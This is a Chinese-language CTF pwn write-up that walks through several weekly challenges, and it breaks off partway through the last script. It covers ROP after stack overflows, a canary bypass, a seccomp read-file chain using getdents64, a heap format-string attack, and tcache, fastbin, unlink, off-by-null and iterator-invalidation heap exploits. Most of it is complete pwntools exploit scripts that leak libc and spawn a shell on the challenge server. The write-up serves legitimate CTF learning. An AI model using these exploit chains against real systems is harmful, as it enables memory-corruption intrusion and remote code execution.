week1 enter_the_pwn_land 栈溢出,rop
栈溢出时要注意索引 i 的值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *context.log_level='debug' r = remote("chuj.top" ,31098 ) csu_end_addr = 0x401306 csu_front_addr = 0x4012F0 file = ELF('./a.out' ) puts_got = file.got['puts' ] puts_plt = file.plt['puts' ] main_addr = 0x4011B6 libc = ELF('./libc-2.31.so' ) pop_rdi = 0x401313 payload = "a" *44 + p32(44 )+p64(0 )+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr) r.sendline(payload) r.recvuntil("\n" ) leak_addr = u64(r.recv(6 ).ljust(8 ,'\x00' )) log.success(hex (leak_addr)) libc_base = leak_addr-libc.sym['puts' ] system_addr = libc_base+libc.sym['system' ] bin_sh = libc_base+next (libc.search("/bin/sh\x00" )) payload = "a" *44 +p32(44 )+p64(0 )+p64(pop_rdi)+p64(bin_sh)+p64(0x40101a )+p64(system_addr) r.sendline(payload) r.interactive()
enter_the_evil_pwn_land https://ctf-wiki.org/pwn/linux/user-mode/mitigation/canary
跟上一题相似,同样可以栈溢出,但是开了 canary
保护。可溢出尺寸较大,可以同时覆盖栈上储存的 Canary 和 TLS 储存的 Canary 实现绕过
fsbase
可以查看 TLS
地址,fs:28h
存的是 canary
,rop
过程与上一题相似
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import *context.log_level='debug' r=remote("chuj.top" ,37372 ) libc = ELF('./libc-2.31.so' ) f = ELF('./a.out' ) pop_rdi = 0x401363 puts_got = f.got['puts' ] puts_plt = f.plt['puts' ] canary = 0xcc432deb70d2400 fake_rbp=0x2 ret = 0x40101a test_thread = 0x4011d6 payload = "a" *40 +p64(canary)+p64(fake_rbp) payload += p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(test_thread) payload += (0x838 -8 *5 )*'\x00' +p64(canary) r.sendline(payload) r.recvuntil("\n" ) leak_addr = u64(r.recv(6 ).ljust(8 ,'\x00' )) log.success(hex (leak_addr)) lbase = leak_addr-libc.sym['puts' ] system_addr = lbase+libc.sym['system' ] bin_sh = lbase+next (libc.search('/bin/sh\x00' )) one_gadget = 0xe6c81 get_shell = lbase+one_gadget payload2 = "a" *40 +p64(canary)+p64(fake_rbp) payload2 += p64(get_shell)+'\x00' *0x100 payload2 += (0x818 -len (payload))*'\x00' +p64(canary) r.sendline(payload2) r.interactive()
oldfashion_orw 思路
有符号数转无符号数,输 -1 就可以溢出
利用限制了沙箱机制禁用了几个函数,open
函数内部会调用 openat
,禁用 openat
后就不能用 open
,但是通过 syscall
构造出的 open
可以使用。flag 文件名是随机的,不能直接通过 orw 读出 flag,可以先利用 getdents64
读取文件夹内容来获得随机的 flag 文件名
1 2 3 4 5 6 7 8 9 10 11 12 13 int getdents64 (unsigned int fd, struct linux_dirent64 *dirp, unsigned int count) ;struct linux_dirent64 { ino64_t d_ino; off64_t d_off; unsigned short d_reclen; unsigned char d_type; char d_name[]; }; int open (const char *pathname, int flags, mode_t mode) ;
得到随机 flag 文件名后再利用 orw 读 flag
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 from pwn import *context.log_level='debug' r=remote("chuj.top" ,43808 ) libc = ELF('./libc-2.31.so' ) f = ELF('./vuln' ) write_got = f.got['write' ] write_plt = f.plt['write' ] read_got = f.got['read' ] csu_end_addr = 0x40143A csu_front_addr = 0x401420 main_addr = 0x401311 ret = 0x40101a def ret_csu (rbx, rbp, r12, r13, r14, r15, last ): payload = 'a' * 0x30 + p64(0 ) payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64( r13) + p64(r14) + p64(r15) payload += p64(csu_front_addr) payload += 'a' * 0x38 payload += p64(last) r.send(payload) sleep(1 ) r.recvuntil("size?\n" ) r.sendline('-1' ) ret_csu(0 ,1 ,1 ,write_got,6 ,write_got,main_addr) r.recvuntil("!\n" ) leak_addr = u64(r.recv(6 ).ljust(8 ,'\x00' )) log.success(hex (leak_addr)) lbase = leak_addr-libc.sym['write' ] getdents_addr = lbase+libc.sym['getdents64' ] write_addr = lbase+libc.sym['write' ] read_addr = lbase+libc.sym['read' ] pop_rsi = lbase+0x27529 pop_rdi = 0x401443 pop_rdx_rbx = lbase+0x162866 syscall_ret = lbase+0x66229 pop_rax = lbase+0x4a550 sendfile_addr = lbase+libc.sym['sendfile' ] r.recvuntil("size?\n" ) r.sendline('-1' ) ret_csu(0 ,1 ,0 ,0x404088 ,3 ,read_got,main_addr) r.send("./\x00" ) r.recvuntil("size?\n" ) r.sendline('-1' ) payload = 'a' *0x30 +p64(0 )+p64(pop_rdi)+p64(0x404088 )+p64(pop_rsi)+p64(0x10000 )+p64(pop_rdx_rbx)+p64(0 )+p64(0 ) payload += p64(pop_rax)+p64(2 )+p64(ret)+p64(syscall_ret) payload += p64(pop_rdi)+p64(3 )+p64(pop_rsi)+p64(f.bss()+100 )+p64(pop_rdx_rbx)+p64(0xd0 )+p64(0 )+p64(getdents_addr) payload += p64(pop_rdi)+p64(1 )+p64(pop_rsi)+p64(f.bss()+100 )+p64(pop_rdx_rbx)+p64(0xd0 )+p64(0 )+p64(write_addr) payload += p64(main_addr) r.send(payload) r.recvuntil('\x30\x00\x08' ) file_name = r.recv(24 ) log.success("filename:" +file_name) r.recvuntil("size?\n" ) r.sendline('-1' ) payload2 = 'a' *0x30 +p64(0 )+p64(pop_rdi)+p64(f.bss()+100 +0xa3 )+p64(pop_rsi)+p64(0x0 )+p64(pop_rdx_rbx)+p64(0 )+p64(0 ) payload2 += p64(pop_rax)+p64(2 )+p64(ret)+p64(syscall_ret)+p64(pop_rdi)+p64(4 )+p64(pop_rsi)+p64(f.bss()+0x100 )+p64(pop_rdx_rbx) payload2 += p64(0x100 )+p64(0 )+p64(read_addr) payload2 += p64(pop_rdi)+p64(1 )+p64(pop_rsi)+p64(f.bss()+0x100 )+p64(pop_rdx_rbx)+p64(0x100 )+p64(0 )+p64(write_addr)+p64(main_addr) r.send(payload2) r.interactive()
ser_per_fa 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 from pwn import *context.log_level='debug' context.terminal = ['gnome-terminal' ,'-x' ,'zsh' ,'-c' ] r=remote("chuj.top" ,45430 ) f = ELF('./spfa' ) libc = ELF('./libc-2.31.so' ) backd00r_addr = 0x16AA r.recvuntil("how many datas?\n>> " ) r.sendline('4' ) r.recvuntil("nodes?\n>> " ) r.sendline('0' ) r.recvuntil("edges?\n>> " ) r.sendline('0' ) r.recvuntil("node?\n>> " ) r.sendline('0' ) r.recvuntil("to ?\n>> " ) r.sendline(str (-(0xB720 - 0x6F80 )/8 )) r.recvuntil(" is " ) leak_addr = int (r.recvuntil('\n' )) log.success(hex (leak_addr)) lbase = leak_addr - libc.sym['system' ] r.recvuntil("nodes?\n>> " ) r.sendline('0' ) r.recvuntil("edges?\n>> " ) r.sendline('0' ) r.recvuntil("node?\n>> " ) r.sendline('0' ) r.recvuntil("to ?\n>> " ) r.sendline(str (-(0xB720 - 0x7008 )/8 )) r.recvuntil(" is " ) pie_addr = int (r.recvuntil('\n' )) spfa_base = pie_addr - 0x7008 log.success("spfa_base:" + hex (spfa_base)) env_addr = lbase + libc.sym['environ' ] print (hex (env_addr))r.recvuntil("nodes?\n>> " ) r.sendline('0' ) r.recvuntil("edges?\n>> " ) r.sendline('0' ) r.recvuntil("node?\n>> " ) r.sendline('0' ) r.recvuntil("to ?\n>> " ) r.sendline(str ((env_addr-spfa_base-0xB720 )/8 )) r.recvuntil(" is " ) stack_addr = int (r.recvuntil('\n' )) stack_ret = stack_addr-0x100 r.recvuntil("nodes?\n>> " ) r.sendline('0' ) r.recvuntil("edges?\n>> " ) r.sendline('1' ) r.recvuntil('\nformat' ) bias = (stack_ret-spfa_base-0xB720 )/8 r.sendline("0 " +str (bias)+" " +str (spfa_base+backd00r_addr)) r.recvuntil("node?\n>> " ) r.sendline('0' ) r.recvuntil("to ?\n>> " ) r.sendline('0' ) r.interactive()
week2 blind proc 文件系统,根据题目提示的 “喷射” 找到 https://xz.aliyun.com/t/7189?page=34
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import *from LibcSearcher import *from pwnlib.util.iters import mbruteforcecontext.log_level = 'debug' context.arch = "amd64" sh = remote("chuj.top" , 51693 ) sh.recvuntil(') == ' ) hash_code = sh.recvuntil('\n' , drop=True ).decode().strip() log.success('hash_code={},' .format (hash_code)) charset = string.printable proof = mbruteforce(lambda x: hashlib.sha256((x).encode()).hexdigest() == hash_code, charset, 4 , method='fixed' ) sh.sendafter('????> ' , proof) sh.recvuntil("write: " ) write_addr = int (sh.recvuntil("\n" ),16 ) log.success(hex (write_addr)) libc = LibcSearcher("write" ,write_addr) lbase = write_addr - libc.dump("write" ) libc_start_main = lbase+libc.dump("__libc_start_main" ) log.success(hex (libc_start_main)) sh.recvuntil(">> " ) sh.send("/proc/self/mem" ) shellcode = "\x90" *0x2fd0 +asm(shellcraft.sh()) sh.recvuntil(">> " ) sh.send(str (libc_start_main)) sh.recvuntil(">> " ) sh.sendline(shellcode) sh.interactive()
echo_sever 堆上的格式化字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 from pwn import *from pwnlib.util.iters import mbruteforcer = remote("chuj.top" ,52061 ) libc = ELF('./libc-2.31.so' ) f = ELF('./echo' ) def proof_of_work (): r.recvuntil(') == ' ) hash_code = r.recvuntil('\n' , drop=True ).decode().strip() log.success('hash_code={},' .format (hash_code)) charset = string.printable proof = mbruteforce(lambda x: hashlib.sha256((x).encode()).hexdigest() == hash_code, charset, 4 , method='fixed' ) r.sendafter('????> ' , proof) proof_of_work() r.recvuntil(">> " ) r.sendline('100' ) payload = "%6$p-%13$p" r.sendline(payload) rbp = int (r.recvuntil("-" ).strip('-' ),16 ) leak_addr = int (r.recvuntil('\n' ),16 )-243 log.success(hex (leak_addr)) lbase = leak_addr - libc.symbols["__libc_start_main" ] log.success("libc_base:" +hex (lbase)) free_hook = lbase+libc.symbols["__free_hook" ] log.success("libc_free_hook:" +hex (free_hook)) system_addr = lbase+libc.symbols["system" ] log.success("system_addr:" +hex (system_addr)) r.recvuntil(">> " ) r.sendline('100' ) payload = "%" +str ((rbp+0x18 +2 )&0xffff )+"c" +"%6$hn" r.sendline(payload) r.recvuntil(">> " ) r.sendline('100' ) payload = "%" +str ((free_hook>>16 )&0xffff )+'c' +"%10$hn" r.sendline(payload) r.recvuntil(">> " ) r.sendline('100' ) payload = "%" +str ((rbp+0x18 )&0xffff )+"c" +"%6$hn" r.sendline(payload) r.recvuntil(">> " ) r.sendline('100' ) payload = "%" +str ((free_hook+4 )&0xffff )+'c' +"%10$hn" r.sendline(payload) r.recvuntil(">> " ) r.sendline('100' ) payload = "%" +str ((system_addr>>32 )&0xffff )+'c' +"%13$hn" r.sendline(payload) r.recvuntil(">> " ) r.sendline('100' ) payload = "%" +str ((free_hook+2 )&0xffff )+'c' +"%10$hn" r.sendline(payload) r.recvuntil(">> " ) r.sendline('100' ) payload = "%" +str ((system_addr>>16 )&0xffff )+'c' +"%13$hn" r.sendline(payload) r.recvuntil(">> " ) r.sendline('100' ) payload = "%" +str ((free_hook)&0xffff )+'c' +"%10$hn" r.sendline(payload) r.recvuntil(">> " ) r.sendline('100' ) payload = "%" +str ((system_addr)&0xffff )+'c' +"%13$hn" r.sendline(payload) r.recvuntil(">> " ) r.sendline('100' ) r.sendline("/bin/sh\x00" ) r.recvuntil(">> " ) r.sendline('0' ) r.interactive()
oldfashion_note 思路
程序有add,delete,show这几个功能,delete 函数中未将指针置零,存在 UAF 漏洞
首先要利用 show 功能 leak 出 libc 基址,此处用到 Unsorted Bin Leak
(首先要填满 tcache 才能通过 free 进入 unsorted bin)
获得 libc 基址后考虑劫持钩子函数 __free_hook
为 system
,因为题目使用的库版本是 libc-2.31.so
所以 tcache
的 double free
会有检测(libc2.29以上的版本),可通过 stash
绕过
tcache相关
当所请求的分配大小不大于0x408
并且当给定大小 的 tcache bin 未满时调用 tcache_put
。一个 tcache bin 中的最大块数mp_.tcache_count
是7
1 2 3 4 5 6 typedef struct tcache_entry { struct tcache_entry *next ; struct tcache_perthread_struct *key ; } tcache_entry;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 _int_free (mstate av, mchunkptr p, int have_lock) { size_t tc_idx = csize2tidx (size); tcache_entry *e = (tcache_entry *) chunk2mem (p); if (__glibc_unlikely (e->key == tcache && tcache)) { tcache_entry *tmp; LIBC_PROBE (memory_tcache_double_free, 2 , e, tc_idx); for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next) if (tmp == e) malloc_printerr ("free(): double free detected in tcache 2" ); } ......
double free
会将 key 字段置为 tcache,无法通过上面的检测
为了绕过这一检测大致有两种方法:
修改 key 字段
tcache stashing unlink attack
如果程序有 edit 功能的话就可以修改 key 字段来绕过检测,但本题没有提供所以考虑 tcache stashing unlink attack
这种攻击利用的是 tcache bin 有剩余 (数量小于 TCACHE_MAX_BINS
) 时,同大小的 small bin 或 fast bin 会放进 tcache 中,在获取到一个 small bin/fast bin
中的一个 chunk 后如果 tcache 仍有足够空闲位置,会将剩余的 small bin/fast bin
链入 tcache ,在这个过程中只对第一个 bin 进行了完整性检查,后面的堆块的检查缺失。当攻击者可以写一个 small bin 的 bk 指针 或 fast bin 的 fd 指针时,其可以在任意地址上写一个 libc 地址
先将相同大小的 tcache 清空,以便分配到 fast bin 的堆块
分配 fast bin
中的堆块,剩下的部分链入 tcache
Unsorted bin leak unsorted bin 结构如下,是循环双向链表
可以看出 show bin2 中的内容就可以获得 main_arena
内的一个地址(要防止与 top chunk
合并),而 main_arena
与 __malloc_hook
固定差 0x10 从而计算得到 libc 基址
fast bin attack
之后重新分配堆块得到 chunk1 ,将其 fd 指针置为 fake chunk
就可以实现任意写
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 from pwn import *from pwnlib.util.iters import mbruteforcer=remote("chuj.top" ,51475 ) libc = ELF('./libc-2.31.so' ) def proof_of_work (): r.recvuntil(') == ' ) hash_code = r.recvuntil('\n' , drop=True ).decode().strip() log.success('hash_code={},' .format (hash_code)) charset = string.printable proof = mbruteforce(lambda x: hashlib.sha256((x).encode()).hexdigest() == hash_code, charset, 4 , method='fixed' ) r.sendafter('????> ' , proof) def add (idx,size,content ): r.sendlineafter(">> " ,"1" ) r.sendlineafter(">> " ,str (idx)) r.sendlineafter(">> " ,str (size)) r.sendafter(">> " ,content) def show (idx ): r.sendlineafter(">> " ,"2" ) r.sendafter(">> " ,str (idx)) def delete (idx ): r.sendlineafter(">> " ,"3" ) r.sendafter(">> " ,str (idx)) proof_of_work() for i in range (8 ): add(i, 0x80 , 'a' ) for i in range (7 ): delete(i) add(10 ,0x10 ,'protected' ) delete(7 ) show(7 ) malloc_hook = u64(r.recv(6 ).ljust(8 ,'\x00' ))-96 -0x10 log.success(hex (malloc_hook)) lbase = malloc_hook - libc.symbols["__malloc_hook" ] log.success(hex (lbase)) free_hook = lbase+libc.symbols["__free_hook" ] system_addr = lbase+libc.symbols["system" ] for i in range (9 ): add(i, 0x20 , 'a' ) for i in range (7 ): delete(i) delete(7 ) delete(8 ) delete(7 ) for i in range (7 ): add(i, 0x20 , 'a' ) add(10 , 0x20 , p64(free_hook)) add(11 ,0x20 ,'a' ) add(11 ,0x20 ,'a' ) add(12 ,0x20 ,p64(system_addr)) add(0 ,0x20 ,"/bin/sh\x00" ) delete(0 ) r.interactive()
week3 changeable_note 思路
存在堆溢出,可以伪造 chunk
实现 unlink
,让 notes[1] = ¬es[1]-0x18
,劫持 free
为 puts
从而获得 libc 基址,最后再劫持 atoi
为 system
拿到 shell
chunk1 ->
0
0x31
fake chunk ->
0
0x21
fake fd ->
¬es[1]-0x18
fake bk ->
¬es[1]-0x10
size检查
0x20
……
chunk2 ->
0x30
prev_inuse 为 0,前一个chunk为 free 状态
0x90
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 from pwn import *from pwnlib.util.iters import mbruteforcecontext.log_level='debug' r=remote("chuj.top" ,52548 ) f = ELF('./note' ) libc = ELF('./libc-2.23.so' ) def proof_of_work (): r.recvuntil(') == ' ) hash_code = r.recvuntil('\n' , drop=True ).decode().strip() log.success('hash_code={},' .format (hash_code)) charset = string.printable proof = mbruteforce(lambda x: hashlib.sha256((x).encode()).hexdigest() == hash_code, charset, 4 , method='fixed' ) r.sendafter('????> ' , proof) def add (idx,size,content ): r.sendafter(">> " ,"1" ) r.sendafter(">> " ,str (idx)) r.sendafter(">> " ,str (size)) r.sendafter(">> " ,content) def delete (idx ): r.sendafter(">> " ,"3" ) r.sendafter(">> " ,str (idx)) def edit (idx,content ): r.sendafter(">> " ,"2" ) r.sendafter(">> " ,str (idx)) r.sendline(content) proof_of_work() add(0 ,0x30 ,'a' ) add(1 ,0x30 ,'a' ) add(2 ,0x80 ,'a' ) add(3 ,0x30 ,'a' ) ptr0 = 0x4040C0 payload = p64(0 )+p64(0x21 )+p64(ptr0+8 -0x18 )+p64(ptr0+8 -0x10 )+p64(0x20 ) payload = payload.ljust(0x30 ,'a' ) payload += p64(0x30 )+p64(0x90 ) edit(1 ,payload) delete(2 ) payload = 'a' *16 +p64(f.got["free" ])+p64(f.got["puts" ])+p64(0 )+p64(f.got["atoi" ]) edit(1 ,payload) edit(0 ,p64(f.plt["puts" ])[0 :7 ]) delete(1 ) leak_addr = u64(r.recv(6 ).ljust(8 ,'\x00' )) lbase = leak_addr-libc.symbols["puts" ] log.success(hex (lbase)) edit(3 ,p64(lbase+libc.symbols["system" ])) r.sendafter(">> " ,"/bin/sh\x00" ) r.interactive()
elder_note 思路 https://xz.aliyun.com/t/7490
通过 show
功能实现 unsorted bin leak
,delete
中指针未置为0,存在 UAF,可以采用 fastbin attack
fastbin
存在 size
检查,可以利用字节错位绕过 size
域的检测,一般是在 __malloc_hook
附近伪造 chunk (Arbitrary Alloc
)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 pwndbg> p &__malloc_hook $1 = (void *(size_t, const void *)) 0 x7f40310f6b10 <__malloc_hook> pwndbg> find_fake_fast 0 x7f40310f6b10 0 x7f FAKE CHUNKS Fake chunk | Allocated chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA Addr: 0 x7f40310f6aed prev_size: 0 x40310f5260000000 size: 0 x7f fd: 0 x4030db7ea0000000 bk: 0 x4030db7a7000007f fd_nextsize: 0 x7f bk_nextsize: 0 x00 pwndbg> p /x 0 x7f40310f6b10-0 x7f40310f6aed $2 = 0 x23
本来之后劫持 __malloc_hook
为 one_gadget
就可以 get shell
,但是这里的 one_gadget
都不满足条件,所以要通过 __realloc_hook
来调整栈帧,劫持 __realloc_hook
为 one_gadget
realloc
函数开头的 push
和 sub rsp,18h
可以调整栈来满足 one_gadget
的使用条件
__realloc_hook
和 __malloc_hook
邻近,可以一次性劫持
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 from pwn import *from pwnlib.util.iters import mbruteforcecontext.log_level='debug' r=remote("chuj.top" ,52617 ) f = ELF('./note2' ) libc = ELF('./libc-2.23.so' ) def proof_of_work (): r.recvuntil(') == ' ) hash_code = r.recvuntil('\n' , drop=True ).decode().strip() log.success('hash_code={},' .format (hash_code)) charset = string.printable proof = mbruteforce(lambda x: hashlib.sha256((x).encode()).hexdigest() == hash_code, charset, 4 , method='fixed' ) r.sendafter('????> ' , proof) def add (idx,size,content ): r.sendafter(">> " ,"1" ) r.sendafter(">> " ,str (idx)) r.sendafter(">> " ,str (size)) r.sendafter(">> " ,content) def delete (idx ): r.sendafter(">> " ,"3" ) r.sendafter(">> " ,str (idx)) def show (idx ): r.sendlineafter(">> " ,"2" ) r.sendafter(">> " ,str (idx)) proof_of_work() add(0 ,0x80 ,'a' ) add(1 ,0x10 ,'a' ) delete(0 ) show(0 ) malloc_hook = u64(r.recv(6 ).ljust(8 ,'\x00' ))-88 -0x10 lbase = malloc_hook-libc.symbols["__malloc_hook" ] log.success(hex (lbase)) one_gadget = lbase+0x4527a realloc_hook = lbase + libc.symbols['realloc' ] log.info("reallock_hook:" +hex (realloc_hook)) log.info("ongadget:" +hex (one_gadget)) add(2 ,0x60 ,'a' ) add(3 ,0x60 ,'a' ) delete(2 ) delete(3 ) delete(2 ) fake_chunk_addr = malloc_hook-0x23 add(2 ,0x60 ,p64(fake_chunk_addr)) add(3 ,0x60 ,'a' ) add(4 ,0x60 ,'a' ) payload = "a" *(0x13 -8 )+p64(one_gadget)+p64(realloc_hook+0x10 ) add(5 ,0x60 ,payload) r.sendafter(">> " ,"1" ) r.sendafter(">> " ,"6" ) r.sendafter(">> " ,str (20 )) r.interactive()
sized_note 思路
add 和 edit 都存在 off-by-null
,通过利用可以造成 chunk overlapping
,进而 leak libc
和改写 tcache
的 next
指针
https://blog.csdn.net/qq_43409582/article/details/109825038
chunk overlapping https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping/#4extendoverlapping
通过 extend 前向 overlapping:改写 chunk
的 prev_size
域和 prev_inuse
域合并堆块,利用了unlink 机制,可以跨越多个堆块进行合并
通过 extend 后向 overlapping:改写 size
域实现 overlapping
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 from pwn import *from pwnlib.util.iters import mbruteforcer=remote("chuj.top" ,52863 ) f = ELF('./note3' ) libc = ELF('./libc.so.6' ) def proof_of_work (): r.recvuntil(') == ' ) hash_code = r.recvuntil('\n' , drop=True ).decode().strip() log.success('hash_code={},' .format (hash_code)) charset = string.printable proof = mbruteforce(lambda x: hashlib.sha256((x).encode()).hexdigest() == hash_code, charset, 4 , method='fixed' ) r.sendafter('????> ' , proof) def add (idx,size,content ): r.sendafter(">> " ,"1" ) r.sendafter(">> " ,str (idx)) r.sendafter(">> " ,str (size)) r.sendafter(">> " ,content) def show (idx ): r.sendlineafter(">> " ,"2" ) r.sendafter(">> " ,str (idx)) def delete (idx ): r.sendafter(">> " ,"3" ) r.sendafter(">> " ,str (idx)) def edit (idx,content ): r.sendafter(">> " ,"4" ) r.sendafter(">> " ,str (idx)) r.send(content) proof_of_work() for i in range (10 ): add(i, 0xf8 , 'a' ) for i in range (7 ): delete(i) add(10 ,0x20 ,"protect" ) delete(7 ) edit(8 ,"a" *0xf0 +p64(0x100 *2 )) delete(9 ) for i in range (7 ): add(i, 0xf8 , 'a' ) add(10 , 0xf8 ,"a" ) show(8 ) malloc_hook = u64(r.recv(6 ).ljust(8 ,'\x00' ))-96 -0x10 lbase = malloc_hook-libc.symbols['__malloc_hook' ] system_addr = lbase+libc.symbols['system' ] free_hook = lbase+libc.symbols['__free_hook' ] log.success(hex (lbase)) add(11 , 0xf8 ,'a' ) delete(11 ) edit(8 ,p64(free_hook)) add(12 , 0xf8 , 'a' ) add(13 ,0xf8 ,p64(system_addr)) add(14 ,0xf8 ,"/bin/sh\x00" ) delete(14 ) r.interactive()
week4 vector 思路 libc 版本 2.31
move_note
函数中存在 vector
迭代器失效的漏洞,vector
的 resize
操作会改变容器容量,进行扩容时会重新分配内存,那么指向容器的迭代器、指针和引用都会失效,而下面移动的操作会使用已经失效的迭代器,存在 UAF
通过调试可以发现在 move_note
扩容后可以把失效迭代器中的值复制到要 move
到的地方,这样就可以实现 double free
,为了绕过 key 检测还是使用 tcache stashing
1 2 3 4 5 6 7 8 9 10 11 12 13 14 delete(3 ) delete(15 ) delete(20 ) for i in range (5 , 12 ): add(i, 0x70 , 'a' ) add(3 ,0x70 ,p64(free_hook)) add(12 ,0x70 ,"a" ) add(13 ,0x70 ,"a" ) add(14 ,0x70 ,"/bin/sh\x00" ) add(15 ,0x70 ,p64(system_addr)) delete(14 )
为了 leak libc 基址要先 malloc
一个较大的堆块,然后 free
进入 unsorted bin
。这时再申请一个较小的堆块,那么 unsorted bin
就会被切割,切割出来的块内有指向 main_arena
内部的指针,就可以得到 libc 基址
https://10-0-0-55.github.io/pwn/unsorted-bin/#leak-heap-libc
1 2 3 4 5 6 7 8 9 10 for i in range (9 ): add(i, 0xf0 , 'a' ) for i in range (7 ): delete(i) delete(7 ) add(7 ,0x50 ,'aaaaaaaa' ) show(7 )
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 from pwn import *from pwnlib.util.iters import mbruteforcecontext.log_level='debug' r=remote("chuj.top" ,53088 ) f = ELF('./vector' ) libc = ELF('./libc.so.6' ) def proof_of_work (): r.recvuntil(') == ' ) hash_code = r.recvuntil('\n' , drop=True ).decode().strip() log.success('hash_code={},' .format (hash_code)) charset = string.printable proof = mbruteforce(lambda x: hashlib.sha256((x).encode()).hexdigest() == hash_code, charset, 4 , method='fixed' ) r.sendafter('????> ' , proof) def add (idx,size,content ): r.sendafter(">> " ,"1" ) r.sendafter(">> " ,str (idx)) r.sendafter(">> " ,str (size)) r.sendafter(">> " ,content) def show (idx ): r.sendlineafter(">> " ,"3" ) r.sendafter(">> " ,str (idx)) def delete (idx ): r.sendafter(">> " ,"4" ) r.sendafter(">> " ,str (idx)) def move (idx ): r.sendafter(">> " ,"5" ) r.sendafter(">> " ,'0' ) r.sendafter(">> " ,'0' ) r.sendafter(">> " ,'1' ) r.sendafter(">> " ,str (idx)) proof_of_work() for i in range (9 ): add(i, 0xf0 , 'a' ) for i in range (7 ): delete(i) delete(7 ) add(7 ,0x50 ,'aaaaaaaa' ) show(7 ) r.recv(8 ) malloc_hook = u64(r.recv(6 ).ljust(8 ,'\x00' )) - 336 -0x10 lbase = malloc_hook-libc.symbols["__malloc_hook" ] free_hook = lbase+libc.symbols["__free_hook" ] system_addr = lbase+libc.symbols["system" ] log.success(hex (lbase)) for i in range (1 , 14 ): add(i, 0x70 , 'a' ) move(20 ) add(15 ,0x70 ,'a' ) for i in range (4 ,13 ): delete(i) delete(3 ) delete(15 ) delete(20 ) for i in range (5 , 12 ): add(i, 0x70 , 'a' ) add(3 ,0x70 ,p64(free_hook)) add(12 ,0x70 ,"a" ) add(13 ,0x70 ,"a" ) add(14 ,0x70 ,"/bin/sh\x00" ) add(15 ,0x70 ,p64(system_addr)) delete(14 ) r.interactive()
Final pwn1 思路
add
里面没有限制申请堆块的大小,delete
和 view
里面 index
可以是负的
可以先利用 unsorted bin
泄露 libc
和 heap
基址
note
通过 mmap
分配,如果申请一个较大的堆块,根据内存排布可以知道新分配的较大的堆块会在 note
的附近
这样就可以在申请较大堆块的时候写入堆地址,和负数下标的漏洞一起可以导致 double free
libc 版本为 2.31,之后的利用就是 tcache stashing
那一套
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 from pwn import *context.terminal = ['tmux' ,'splitw' ,'-h' ] r = remote("chuj.top" ,20000 ) f = ELF("./pwn1" ) libc = ELF("libc-2.31.so" ) def create (size,content ): r.recvuntil(">> " ) r.send('1' ) r.sendlineafter("size: " ,str (size)) r.sendafter("content: " ,content) def view (idx ): r.sendlineafter(">> " ,'3' ) r.sendlineafter("index: " ,str (idx)) def delete (idx ): r.sendlineafter(">> " ,'2' ) r.sendlineafter("index: " ,str (idx)) for i in range (0 ,11 ): create(0x80 ,str (i)) for i in range (0 ,8 ): delete(i) delete(9 ) for i in range (0 ,7 ): create(0x80 ,str (i)) create(0x40 ,'a' *8 ) view(7 ) r.recvuntil("content: aaaaaaaa" ) heapbase = u64(r.recv(6 